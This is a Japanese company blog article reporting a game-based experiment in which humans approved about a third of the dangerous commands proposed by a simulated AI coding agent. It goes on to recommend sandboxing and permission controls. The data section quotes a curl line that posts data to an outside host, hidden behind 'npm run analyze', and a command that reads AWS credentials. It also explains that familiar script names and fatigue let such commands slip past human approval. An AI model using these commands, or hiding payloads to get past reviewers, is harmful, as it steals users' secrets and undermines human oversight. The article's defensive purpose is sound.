AIエージェント承認を人間が3分の1見逃す|4万回ゲーム実験の全容と対策【2026年8月】
代表取締役 上坂大地郎
結論: AIコーディングエージェントが出す「許可してよいですか?」に対して、人間は危険なコマンドの3分の1を見逃して承認してしまう——Scale Xが40,000回のゲーム実験で定量化しました。npm系コマンドに至っては見逃し率52.5%です。ヒューマン・イン・ザ・ループ(人間による監視)だけに頼るセキュリティモデルは、すでに限界に来ています。
この記事の要点:
- Scale Xが40,000プレイ・409,000判断のゲーム実験を実施。人間の平均正答率は66.3%で、危険なコマンドの3分の1を見逃した(Scale X公式ブログ、2026年8月5日公開)
- 最も見逃されたコマンドは
npm run analyzeで、64.7%が承認された。見慣れたスクリプト名に悪意あるペイロードを隠すと成功率がほぼ倍増する - 研究チームの結論は「サンドボックスとコンテキスト分離を先に整えるべき。ヒューマン・イン・ザ・ループを許容可能な代替策と見なすのをやめるべき」
対象読者: Claude Code・Codex・CursorなどのAIコーディングエージェントを日常的に使っているエンジニア、開発チームのセキュリティ方針を検討している方
読了後にできること: 自分のエージェント利用環境で「何を許可しているか」を見直す判断軸が持てます。サンドボックス導入の優先度を上げるべきかどうか、データに基づいて判断できます
2026年8月5日、開発者セキュリティの研究を行うScale Xが、AIコーディングエージェントの「ヒューマン・イン・ザ・ループ」承認に関する大規模実験の結果を公開しました。
僕自身、デュスクではClaude Codeを全社8名で導入していて、毎日何十回と「許可しますか?」のプロンプトを目にしています。正直に言えば、npm run 系のコマンドはほぼ反射的にOKを押してしまっている自覚がありました。今回のデータを見て、あらためて自分たちの運用を見直す必要があると感じています。
この記事では、Scale Xの実験方法と主要データを整理したうえで、結果をどこまで信用できるのか(ゲーム実験の限界を含めて)、そしてSES現場を含む開発チームが今日から何をすべきかまで解説します。なお、AIエージェントの「能力側」のリスクについては、先日公開したOpenAI評価AIのHugging Face侵害の記事も合わせてご覧ください。
何が起きたのか——実験の全体像
Scale Xは、AIコーディングエージェントの承認プロセスを模したブラウザゲームを開発し、大規模なデータを収集しました。
時期 | できごと |
|---|---|
2026年8月5日 | Scale X(著者: Alex Wauters、元Uber Staff Engineer)が公式ブログで実験結果を公開 |
同日 | Hacker Newsで248ポイント・190コメントの議論に発展 |
2026年8月6日 | The Registerが「Humans in the loop miss a third of dangerous AI coding agent requests」として報道 |
実験の仕組み: プレイヤーはAIコーディングエージェントの「監督者」として、次々に表示されるコマンドを承認(Approve)または拒否(Deny)します。コマンドの約34%が脅威(悪意ある操作)で、時間のプレッシャーがかかる設計です。
データ規模: 40,000回以上のゲームプレイ、合計409,000件の個別判断。ゲーム形式とはいえ、この規模の定量データはAIエージェントの承認研究としては類を見ません。
ポイントは、この実験が「AIの能力」ではなく「人間の注意力」を測定している点です。エージェントが何をできるかではなく、人間がエージェントの行動をどれだけ正しく監視できるかを問うている。
主要データ——何がどれだけ見逃されたか
実験結果の核心を表で整理します。
全体のパフォーマンス
指標 | 数値 |
|---|---|
平均正答率(脅威の検出) | 66.3%(3回に1回見逃し) |
マイナススコアで終了したセッション | 32.9% |
全脅威を検出したプレイヤー | 35.2% |
全脅威検出+誤ブロック20%以下 | 20.8% |
すべてのプロンプトを承認したプレイヤー | 7.0% |
脅威カテゴリ別の見逃し率
カテゴリ | 見逃し率 | 具体例 |
|---|---|---|
明らかに破壊的 | 11.7% |
|
永続的な変更 | 23.8% | crontab注入、git config乗っ取り |
データ送出・コード実行 | 33.4% | 未知のAPIへの |
スコープ違反(認証情報アクセス) | 35.0% |
|
npm系コマンドの突出した危険性
最も見逃されたコマンドの上位に、npm run 系が集中しています。
コマンド | 見逃し率(承認率) |
|---|---|
| 64.7% |
| 48.0% |
| 44.9% |
npm run系全体(9,482判断) | 52.5% |
その他の送出型攻撃 | 28.4% |
npm run analyze の実態は、内部で curl -s -X POST https://api.bundle.track/report -d @- のような外部送信を実行するスクリプトでした。見慣れたスクリプト名にペイロードを隠すと、成功率がほぼ倍になります。
もう一つ見逃せないのが疲労効果です。セッションが進むにつれて、全プレイヤーグループで見逃し率が上昇しました。Anthropicも自社のドキュメントで「承認の数が増えるほど、ユーザーは各承認への注意を減らし、監視の質が時間とともに低下する」と言及しています。
ヒューマン・イン・ザ・ループとは何か——かみ砕き
「ヒューマン・イン・ザ・ループ(Human-in-the-Loop、HITL)」は、AIの判断や行動の前に人間が確認・承認するプロセスのことです。
身近な例でいえば、Claude Codeで「このコマンドを実行してよいですか?」と聞かれて「はい」を押す、あのプロンプトがまさにHITLです。AIが勝手に動かないよう、人間が最終関門になる設計思想です。
ただし、この仕組みは人間が正しく判断できることを前提にしています。今回の実験は、その前提が現実には成り立たないケースがどれだけあるかを数字で示したことになります。
どこまで確認されているのか——検証状況
この実験結果を評価するうえで、確認レベルを整理しておきます。
確認済みの事実(一次情報で確認):
- Scale Xがブラウザゲーム形式で40,000プレイ・409,000判断のデータを収集したこと
- 上記の全数値(正答率、カテゴリ別見逃し率、npm系の突出した承認率)はScale Xの公式ブログに記載
- 著者のAlex WautersはScale Xの所属で、元Uber Staff Engineer
留意すべき限界:
- これは学術論文ではなくゲーム実験です。査読を経ておらず、Scale X自身もゲーム形式であることを認めています
- 実験には人為的な時間制限がかかっており、実際の開発現場とは条件が異なります
- ゲームなので実際の損害が発生するリスクはなく、プレイヤーの判断が実務時と同じかどうかは不明です
- 一部のコマンドは前後の文脈なしで表示されており、「
npm run setupが危険かどうかは、package.jsonを見ないとわからない」という批判があります(Hacker Newsでの指摘)
楽観論と慎重論——受け止め方は分かれている
「この結果は現実を映している」側
The Registerの報道をはじめ、多くの開発者がこの結果を「直感的に正しい」と受け止めています。Hacker Newsのコメントでは、「開発者は承認疲れから結局バイパス(全許可モード)に逃げる」(Wirbelwind氏)という指摘がありました。実際にScale Xの実験でも、7%のプレイヤーがすべてのプロンプトを無条件承認しています。
現実の開発現場には、ゲーム以上のプレッシャーがあります。「ホワイトカラーへの成果プレッシャーは過去最高水準にある」(datsci_est_2015氏)という指摘は、時間制限という実験条件がむしろ控えめである可能性を示しています。
「ゲームと実務は違う」側
Hacker Newsでは反論も出ています。「リスクのないゲームでの判断を、実際のセキュリティリスクの予測に使うのは、レーシングシミュレーターの事故率で実際の致死率を予測するようなもの」(stonedivot氏)という批判は正当です。
また、「npm run setup が危険で npm run lint は安全、という判定はコンテキストなしでは意味がない」(Kinrany氏)という指摘もあります。実際の開発では、プロジェクトの package.json を確認できるため、判断材料は増えます。
デュスクとしての見立て
実験の限界はあるものの、方向性として示していることは正しいと考えています。問題の本質は「ゲームで3割見逃した」という数字そのものではなく、「見慣れたコマンド名にペイロードを隠せば承認率が倍になる」「疲労でセッション後半の判断が劣化する」という構造的な弱点が定量的に確認されたことです。この構造は、ゲームでも実務でも変わりません。
エンジニア・SES現場への示唆
ここからが本題です。この実験結果は、AIコーディングエージェントを使うすべての開発現場に3つの問いを投げかけています。
1. 「許可プロンプトを真剣に見ているか」の自問
Claude CodeやCodexの許可プロンプト、何秒見ていますか。npm run test と表示されたとき、package.jsonの中身まで確認していますか。実験データは、多くの人がスクリプト名だけで判断していることを示しています。
2. 常駐先でのAIエージェント利用ルールの見直し
SES現場では、客先のセキュリティポリシーに従ってAIツールを使います。「ヒューマン・イン・ザ・ループだから安全」という前提でAIエージェントの利用を認めている現場があるなら、このデータは再検討の材料になります。特に認証情報へのアクセス(cat ~/.aws/credentials など)のスコープ違反は35%が見逃されており、クラウド環境での作業では注意が必要です。
3. サンドボックス・権限分離の優先度
実験の著者であるWauters氏は「サンドボックスと厳格なコンテキスト分離を先に整え、それが整ってから初めてエージェントに広い権限を与えるべき」と提言しています。Hacker Newsでは、具体的なツールとしてclaude-contained(エージェントを別OSユーザーで実行し、ホームディレクトリの権限を制限)やEclipse Enclave(エージェントのサンドボックス化ツール)が紹介されています。
今すぐ確認・検討すべきこと
- 今日確認すること: 自分が使っているAIコーディングエージェントで、
npm run系のコマンドをどれだけ確認せずに承認しているか振り返る。可能であれば、package.jsonのscriptsセクションに見覚えのないエントリがないか確認する(5分) - 今週中にやること: エージェントのネットワークアクセスを制限できるか調べる。Claude Codeであれば、allowlistベースの権限設定(
.claude/settings.jsonのpermissions)を見直し、npm runやシェルコマンドの自動承認を外す - 今月中に検討すること: チーム・プロジェクト単位で、AIエージェントのサンドボックス実行環境(Docker・軽量VM・claude-contained等)の導入を検討する。「人間が見ているから大丈夫」ではなく「仮に承認ミスがあっても被害が限定される」設計への移行
まとめ
Scale Xの40,000回ゲーム実験は、人間がAIエージェントの危険なコマンドを3分の1見逃すことを定量的に示しました。特に npm run analyze の64.7%承認という数字は、見慣れたスクリプト名が持つ危険性を端的に表しています。
ゲーム実験であるため数字をそのまま実務に当てはめることはできません。ただし、「見慣れたコマンド名で油断する」「セッション後半で注意力が落ちる」という構造的な弱点は、実験設計に関係なく存在します。
AIエージェントの能力が上がるほど、人間に求められる監視の負荷も上がります。その負荷に人間が耐えられないなら、監視の仕組みそのものを変える必要があります。サンドボックスと権限分離を「あったほうがいいもの」から「なければ使わないもの」へ——その優先度の切り替えが、今回のデータが示している最大のメッセージです。
参考・出典
- Humans missed 1 in 3 threats approving AI agent commands across 40,000 plays — Scale X公式ブログ(参照日: 2026-08-09)。40,000プレイ・409,000判断の全数値の出典
- Humans in the loop miss a third of dangerous AI coding agent requests — The Register(参照日: 2026-08-09)
- Hacker News discussion — Hacker News(参照日: 2026-08-09)。248ポイント・190コメント。反論・具体的ツール提案の出典
